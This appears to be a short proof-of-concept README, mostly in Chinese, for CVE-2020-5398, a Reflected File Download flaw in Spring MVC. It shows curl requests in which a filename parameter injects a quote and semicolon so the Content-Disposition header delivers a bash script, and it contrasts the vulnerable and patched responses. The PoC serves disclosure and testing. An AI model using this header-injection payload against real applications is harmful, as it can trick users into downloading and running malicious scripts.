
CVE-2020-5398 - RFD(Reflected File Download) Attack for Spring MVC
在 Spring Framework 中,5.2.x 系列早于 5.2.3 的版本、5.1.x 系列早于 5.1.13 的版本以及 5.0.x 系列早于 5.0.16 的版本,当应用程序在响应中设置包含用户输入的文件名属性的 “Content-Disposition” 头部时,容易受到反射式文件下载(RFD)攻击。
./gradlew bootrun
监听在 127.0.0.1:8080。
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT
Hello, World
开始下载 sample.txt 文件。
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id
开始下载 sample.sh 文件。(Shell 文件)
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT
#!/bin/bash
id
开始下载 sample.sh";.txt 文件。(文本文件)